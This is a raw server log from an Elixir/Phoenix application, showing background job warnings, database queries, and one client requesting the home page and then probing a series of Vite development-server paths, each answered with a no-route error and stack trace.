[Thu Sep  3 16:57:19.442000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 16:57:24.443000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 17:00:00.774000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1619.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 17:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 17:01:09.973000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 17:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1526.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 17:11:10.943000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 17:11:11.794000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 17:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1510.0ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 17:16:26.664000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 17:16:26.920000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:48336] GET /
[Thu Sep  3 17:16:26.920000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:48336] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 17:16:26.921000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:48336] Sent 200 in 1ms
[Thu Sep  3 17:16:29.237000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:48352] GET /
[Thu Sep  3 17:16:29.237000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:48352] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 17:16:29.238000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:48352] Sent 200 in 905µs
[Thu Sep  3 17:16:30.325000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 17:16:31.109000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 17:16:31.229000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:48370] GET /
[Thu Sep  3 17:16:31.229000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:48370] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 17:16:31.230000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:48370] Sent 200 in 858µs
[Thu Sep  3 17:16:33.439000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 17:16:33.706000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:48436] GET /
[Thu Sep  3 17:16:33.706000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:48436] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 17:16:33.707000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:48436] Sent 200 in 816µs
[Thu Sep  3 17:16:37.942000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 17:16:38.164000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:7864] GET /
[Thu Sep  3 17:16:38.165000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:7864] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 17:16:38.165000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:7864] Sent 200 in 1ms
[Thu Sep  3 17:16:39.184000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 17:16:39.580000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:7892] GET /
[Thu Sep  3 17:16:39.580000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:7892] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 17:16:39.580000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:7892] Sent 200 in 793µs
[Thu Sep  3 17:16:42.181000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 17:16:42.488000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:7908] GET /
[Thu Sep  3 17:16:42.488000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:7908] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 17:16:42.488000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:7908] Sent 200 in 884µs
[Thu Sep  3 17:16:53.374000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:27904] GET /
[Thu Sep  3 17:16:53.375000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:27904] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 17:16:53.375000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:27904] Sent 200 in 805µs
[Thu Sep  3 17:16:53.964000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:27916] GET /
[Thu Sep  3 17:16:53.964000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:27916] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 17:16:53.965000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:27916] Sent 200 in 919µs
[Thu Sep  3 17:17:03.729000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:7908] GET /@vite/env
[Thu Sep  3 17:17:03.820000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:7908] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:03.846000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54232] GET /@vite/client.mjs
[Thu Sep  3 17:17:03.877000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54232] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:03.940000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54220] GET /@vite/client
[Thu Sep  3 17:17:03.989000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54228] GET /@vite/client.js
[Thu Sep  3 17:17:03.990000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54220] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:04.032000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54228] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:05.269000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54228] GET /bundledDevClient.mjs
[Thu Sep  3 17:17:05.288000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54228] ** (Phoenix.Router.NoRouteError) no route found for GET /bundledDevClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:05.326000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:7908] GET /vite/client
[Thu Sep  3 17:17:05.348000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:7908] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:05.368000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54220] GET /vite/client.js
[Thu Sep  3 17:17:05.405000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54220] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:06.435000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54220] GET /vite/client.mjs
[Thu Sep  3 17:17:06.455000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54220] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:06.523000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54232] GET /vite/hmr
[Thu Sep  3 17:17:06.547000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54232] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:07.542000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54220] GET /vite/hmr.js
[Thu Sep  3 17:17:07.562000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54220] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:07.600000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:7908] GET /@hmr
[Thu Sep  3 17:17:07.619000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:7908] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:07.642000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54232] GET /vite/hmr.mjs
[Thu Sep  3 17:17:07.667000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54232] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:09.527000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54220] GET /@hmr.js
[Thu Sep  3 17:17:09.553000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54220] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
